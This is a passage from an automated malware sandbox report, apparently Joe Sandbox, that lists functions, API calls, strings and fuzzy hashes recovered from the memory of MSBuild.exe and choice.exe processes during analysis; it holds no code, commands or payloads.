Opcode Fuzzy Hash: e8d7287cf0253a14d65505f3bcb88d43d44e4e233684627ccbcdf1a31dd321c4
Instruction Fuzzy Hash: A0D05238A010129BEF2BCB0ECA14A3E7AB4EB50A48B85007CEA04A2530E338DC01CB00

Function 013A02A0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
Instruction ID: 65bc0dd7020c970dcd12aeaa9b799d15a3f94fdea4e1aca1682a3bbd1c020afb
Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
Instruction Fuzzy Hash: DFD0C935212E80CFD62BCB0DC5A4B1633A8FB44B48FC10490F501CBB22D62CD940CA00

Function 013CC700 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
Instruction ID: 874860f5f96d0f8643ccbeba875f579e55c6dc6d81152b93572ef6181cbe26af
Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
Instruction Fuzzy Hash: F2C01232150644AFC7119A99CD01F0177A9E798B40F400021F20447570C531E810D644

Function 013B0310 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction ID: 3661ef797145eee11033f8ef4e53819bbe61f97e0f004c01c4a53f0b535d30a6
Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
Instruction Fuzzy Hash: BED01236100248EFCB05DF55C890D9B773AFBD8710F148019FD19076108A31ED62DA50

Function 01390750 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction ID: 4eaed8b70906288748418428d9ec28996da203019708e6b8f3a2823feb50b4b2
Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
Instruction Fuzzy Hash: 5CC04879701A42CFCF1ADB6ED298F49B7E4FB48748F1518A0E805CBB22E624E811CA10

Function 013D2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 013D293C
___swprintf_l.LIBCMT ref: 013D295E
___swprintf_l.LIBCMT ref: 013D29A3
___swprintf_l.LIBCMT ref: 0140A52E

Strings

::%hs%u.%u.%u.%u, xrefs: 0140A527
ffff:, xrefs: 0140A504
:%u.%u.%u.%u, xrefs: 0140A5B8
::ffff:0:%u.%u.%u.%u, xrefs: 0140A54E

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: f6b3e6ccb82119f6e8ef31b86090be9ab55c5a5d26df87e201fb2a27e1ee18f7
Instruction ID: d1649848d5ed42342daa63b758d9c374d3546e6b22c2a509f8610a8d3c5a2933
Opcode Fuzzy Hash: f6b3e6ccb82119f6e8ef31b86090be9ab55c5a5d26df87e201fb2a27e1ee18f7
Instruction Fuzzy Hash: EF5107B7A04216BFCB21DFADD88097FFBB8BB08248714812AF465D3681D374DE1087A0

Function 01442410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 014424A6
___swprintf_l.LIBCMT ref: 014424E2
___swprintf_l.LIBCMT ref: 0144257D
___swprintf_l.LIBCMT ref: 014425A3
___swprintf_l.LIBCMT ref: 014425C8
___swprintf_l.LIBCMT ref: 01442608

Strings

ffff:, xrefs: 0144247D, 0144249D
:%u.%u.%u.%u, xrefs: 014425FF
::%hs%u.%u.%u.%u, xrefs: 0144249E
::ffff:0:%u.%u.%u.%u, xrefs: 014424DA

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: d67b2e61862a23c17a78bafa63fd58781914808783082ddf0ca4b1f58db5dfe2
Instruction ID: b7cf12febe6ff65a6f2d20b1958aa7d451cfed2d7c03f4389dac6bc7c37ef1fd
Opcode Fuzzy Hash: d67b2e61862a23c17a78bafa63fd58781914808783082ddf0ca4b1f58db5dfe2
Instruction Fuzzy Hash: 3F51F475A00745ABEB20DF9CD990D7FBBF8EF44205B04846AF496D3791E6F4DA0087A0

Function 013C7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

Execute=1, xrefs: 01404713
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01404742
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01404725
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01404655
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 014046FC
CLIENT(ntdll): Processing section info %ws..., xrefs: 01404787
ExecuteOptions, xrefs: 014046A0

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 49dfe1676f629bc3e77d117c398e610cf512edf7a2480e3dd8a36b1bc6dbd196
Instruction ID: d44f2c0282efc40946873b8342ed8d658a10ff0b88407a5d4ba7da705803fbb6
Opcode Fuzzy Hash: 49dfe1676f629bc3e77d117c398e610cf512edf7a2480e3dd8a36b1bc6dbd196
Instruction Fuzzy Hash: 6C510B3260021D7AEF21ABA9EC85FFE77A8EF14718F0400ADDA05A72D1D7719E558F50

Function 01466940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction ID: df340581edf7879c874eb502aa2399b839c31bb2b18f92e7fa5f07e5e31201a7
Opcode Fuzzy Hash: d8848935565deeecae3b40dc4d36252ac36c0d5f22eb4f09df1253b8d6557a4c
Instruction Fuzzy Hash: 2B022871508342AFD305CF19C890A6FBBE9EFD4718F058A2EF9958B264DB31E945CB42

Function 013DB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 013DB6BF

Strings

0, xrefs: 013DB695
+, xrefs: 013DB65A
-, xrefs: 013DB650
0, xrefs: 013DB66F

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: 167425d8c3b4911529f715f06154e3335b24623e9ebf3830a08e04a83f0f4889
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: 3B81E472E052498FEF25CE6CE4517FEFFB1AF46368F1A4119D861A7299C7348840C761

Function 014420E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0144214F
___swprintf_l.LIBCMT ref: 01442172

Strings

%%%u, xrefs: 01442146
[, xrefs: 0144212B
]:%u, xrefs: 01442169

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 30360e877ec58fd51a20a35751b083625c48446e03342f225a2814aa13bfded1
Instruction ID: def5a8bfb40bc64de98ac8782b7539bfa21c724e355e5952f735afd9b54b659d
Opcode Fuzzy Hash: 30360e877ec58fd51a20a35751b083625c48446e03342f225a2814aa13bfded1
Instruction Fuzzy Hash: 3F21537AA00219ABEB10DF6DD844EEFBBE8EF54644F040116F905E3354E770DA01CBA1

Function 013BF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 0140031E
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 014002BD
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 014002E7

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 480613b8fdf02c3c8052039ab938e07a68851b428716f68f7ae3f8c7485ad9f7
Instruction ID: e1138fc2d4940d762166fe8163dd07511c9c4dfc7f2ab818b8836047d49bc8fa
Opcode Fuzzy Hash: 480613b8fdf02c3c8052039ab938e07a68851b428716f68f7ae3f8c7485ad9f7
Instruction Fuzzy Hash: 7DE1C1306047419FD726CF2CC884B6ABBE4BB44358F140A6EF6A5CBAE1E774D945CB42

Function 013CBED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 01407BAC
RTL: Resource at %p, xrefs: 01407B8E
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01407B7F

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: 78963b6b14ccfd3432305198ea7075ab0db8dc524817ee6387f9c92b3e2b8f4e
Instruction ID: b48f242d23f24f5b0b03907f8a741e0b5b1418fd1bcb26578e70961a589aab1b
Opcode Fuzzy Hash: 78963b6b14ccfd3432305198ea7075ab0db8dc524817ee6387f9c92b3e2b8f4e
Instruction Fuzzy Hash: 404106317007079FD721DE29D841B67B7E5EF94B19F000A2EF99A97790DB32E8098B91

Function 013CB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0140728C

Strings

RTL: Re-Waiting, xrefs: 014072C1
RTL: Resource at %p, xrefs: 014072A3
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01407294

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 3d44916fbee3ab59b345849edf56615314177167ad34d66cf9a56e7ce829319e
Instruction ID: 05aadbbf20d754fe2c80f04eabe49e17e7db561783c5eb0431b75938ec7bc78f
Opcode Fuzzy Hash: 3d44916fbee3ab59b345849edf56615314177167ad34d66cf9a56e7ce829319e
Instruction Fuzzy Hash: 11412231600206ABC721DF2ACC42B66F7A5FF54B19F10062EF995AB790DB31F80687D2

Function 01442300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0144238D
___swprintf_l.LIBCMT ref: 014423B3

Strings

]:%u, xrefs: 014423AA
%%%u, xrefs: 01442384

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 3549e89f8e80b7b7c0552de2c4fa67524a199fd43fd946940e7346b21f3b19ae
Instruction ID: 721e9cf01cad853f5d1f7e3b0cc77d3ec19d8cf0ac229ac0995dcd0dd8d212e6
Opcode Fuzzy Hash: 3549e89f8e80b7b7c0552de2c4fa67524a199fd43fd946940e7346b21f3b19ae
Instruction Fuzzy Hash: 23316472A002299FEB60DF3DDC40FAF77B8EB54614F44055AE949E3250EB709A448B60

Function 013D7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 013D7E8B

Strings

-, xrefs: 013D7DDD
+, xrefs: 013D7DE8

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: 78943ed4e37d51fe21d9b158687ca409cad2805a34fd85ec1b522a8bebecc8cc
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: 5291D073E0021A9BEB34CF6DE881ABEBBA9FF4432CF14455AE955E72C0D73099458B50

Function 01399126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 01399191
@, xrefs: 01399175

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 3105b175890b0b53c4ce289d5f726ac6d05a6e9f2921c312e4eed687e75193ba
Instruction ID: 458a66dbf6e94a4f1dc53d643a3926bfc137ead4dd79034cbda932571f3d3e7e
Opcode Fuzzy Hash: 3105b175890b0b53c4ce289d5f726ac6d05a6e9f2921c312e4eed687e75193ba
Instruction Fuzzy Hash: 0B810C72D00269DBDB35CB54CC44BEEB7B8AB48758F0041EAEA19B7650D7709E84CFA0

Analysis Process: choice.exePID: 8104, Parent PID: 7296COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	3.3%
Signature Coverage:	1.8%
Total number of Nodes:	393
Total number of Limit Nodes:	64

Executed Functions

Function 02B1C9D0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00000000), ref: 02B1CAB4
FindNextFileW.KERNELBASE(?,00000010), ref: 02B1CAEF
FindClose.KERNELBASE(?), ref: 02B1CAFA

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 48555f95a8cfc974cc5e0977ea0b7e6172ff0cbf03b0566226d691158e60584c
Instruction ID: 893e9575f281081b8ff7d3043977ab23be4c86bd48f1396981acd1d191e7764d
Opcode Fuzzy Hash: 48555f95a8cfc974cc5e0977ea0b7e6172ff0cbf03b0566226d691158e60584c
Instruction Fuzzy Hash: DA31AFB1940348BBDB21DFA4CC85FEF7B7DDB44705F104599B918A6180DBB0AA848FA1

Function 02B295F0 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 02B296F4

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6fb42e3d6ae03e1ac9befaa09917f92c03d188ed7c7f4fc84a469856cbf3639f
Instruction ID: 5578c39667824ef22bc82a93935d3514cf07b28a511d9959ac02ed92c1d6c37e
Opcode Fuzzy Hash: 6fb42e3d6ae03e1ac9befaa09917f92c03d188ed7c7f4fc84a469856cbf3639f
Instruction Fuzzy Hash: AC31E8B5A11208AFCB14DF98D880EEEB7B9EF88304F108249F919A7340D734A845CFA0

Function 02B29760 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 02B2984F

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9292feca3341f7b51958626f35d7ae0b2d5491e3ca99dfd0a3e978676a0309dd
Instruction ID: 6617e69bfa512ff2ccbfb9b0ebb45c39897e8735ad1e17a689348cc4adb90bd1
Opcode Fuzzy Hash: 9292feca3341f7b51958626f35d7ae0b2d5491e3ca99dfd0a3e978676a0309dd
Instruction Fuzzy Hash: 1931EAB5A00608AFDB14DF98D880EDFB7B9EF88704F108259F919A7240D774A915CFA1

Function 02B29A70 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(02B1216E,?,02B2840F,00000000,00000004,00003000,?,?,?,?,?,02B2840F,02B1216E), ref: 02B29B41

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 40918d9e4e2415ae9b9da49099c1ee6830f0adb71736cde6390b000020622b56
Instruction ID: a90e5ed594d7d40a128e3c38b0397a3406bfc56b9e670680caa242221f831f41
Opcode Fuzzy Hash: 40918d9e4e2415ae9b9da49099c1ee6830f0adb71736cde6390b000020622b56
Instruction Fuzzy Hash: EB2128B5A10609ABDB10DF98DC41FAFBBBAEF88300F008259F91897240D774A915CFA1

Function 02B29860 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON

Download Yara Rule

APIs

NtDeleteFile.NTDLL(?), ref: 02B298FF

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c1199ea468f5ecb06fd265320e87a169c99f261b24ecffb16cb1852cc032a440
Instruction ID: 0a6a1e362c1d5c4c1b7a8339a87b1d4eea490bf32e1f4536f56ab5ed7da6be43
Opcode Fuzzy Hash: c1199ea468f5ecb06fd265320e87a169c99f261b24ecffb16cb1852cc032a440
Instruction Fuzzy Hash: 79119E71A106146AD720EB68DC41FEBB76DEF85714F008289F95CA7280DB74B909CFE1

Function 02B29910 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 02B29941

Memory Dump Source

Source File: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2b00000_choice.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
Instruction ID: 00ea4e29d97132f80ec0666f17a2dec7e9309e0797d31fb983767e7c79ebbf79
Opcode Fuzzy Hash: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
Instruction Fuzzy Hash: E6E046322002147BC220AA5DDC41FABB76DDBC5710F004095FA08A7282C770B9088AB1

Function 04A52CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52CAA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 985d1b158d2e100cb23b3fb37c5d119a0299fdeb459747f059f19bd9d9b62533
Instruction ID: 9808578003987fbf27d24a01118de16b93fb2d2ebc498a85ddd50431d5e46acc
Opcode Fuzzy Hash: 985d1b158d2e100cb23b3fb37c5d119a0299fdeb459747f059f19bd9d9b62533
Instruction Fuzzy Hash: AB90027120240402F1007598540864600098BF0305F96D015A9035555EC669D9916131

Function 04A52C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52C6A

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: aea66506d061342b5ee6123300132f9ff66d3861f3f326e3e59a05464c759150
Instruction ID: df838b5e97171bd94380d771443e8632bbb86a5424f10e9c7df23a1c08d02962
Opcode Fuzzy Hash: aea66506d061342b5ee6123300132f9ff66d3861f3f326e3e59a05464c759150
Instruction Fuzzy Hash: 7990027120240842F10071584404B4600098BF0305F96C01AA4135654D8619D9517521

Function 04A52C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52C7A

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 321ec6ec6904a6f40f03168b118ebd467cb96aa6564051853fa465279c0c422f
Instruction ID: ba3ee23f4e6f41ecd25e7d99c856bdfffbe9122c39eb4afef09d2f8753e6d1b2
Opcode Fuzzy Hash: 321ec6ec6904a6f40f03168b118ebd467cb96aa6564051853fa465279c0c422f
Instruction Fuzzy Hash: 0E90027120248802F1107158840474A00098BE0305F9AC415A8435658D8699D9917121

Function 04A52DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52DFA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d002273d1bd706e438334a8dafb6aae81922e149841d3b9c16025d0353105cd2
Instruction ID: 134499637a4504cdfa3a214d94c4aa1a4da62a91a41b15bdb020fcc792118521
Opcode Fuzzy Hash: d002273d1bd706e438334a8dafb6aae81922e149841d3b9c16025d0353105cd2
Instruction Fuzzy Hash: 7B90027120240413F11171584504707000D8BE0245FD6C416A4435558D965ADA52A121

Function 04A52DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52DDA

Memory Dump Source

Source File: 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: true

Associated: 0000000A.00000002.2951593841.0000000004B09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B0D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_49e0000_choice.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 515d1fa1727526dfa567db0db41c5ca660a6aa78cd6c24ecee776c957505a056
Instruction ID: 41faeb781e9363e3278be43bf5f99e45b9fc99b7abe9c0fe1720233e211cd65c
Opcode Fuzzy Hash: 515d1fa1727526dfa567db0db41c5ca660a6aa78cd6c24ecee776c957505a056
Instruction Fuzzy Hash: 52900261243441527545B1584404507400A9BF02457D6C016A5425950C852AE956D621

Function 04A52D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04A52D1A

Memory Dump Source

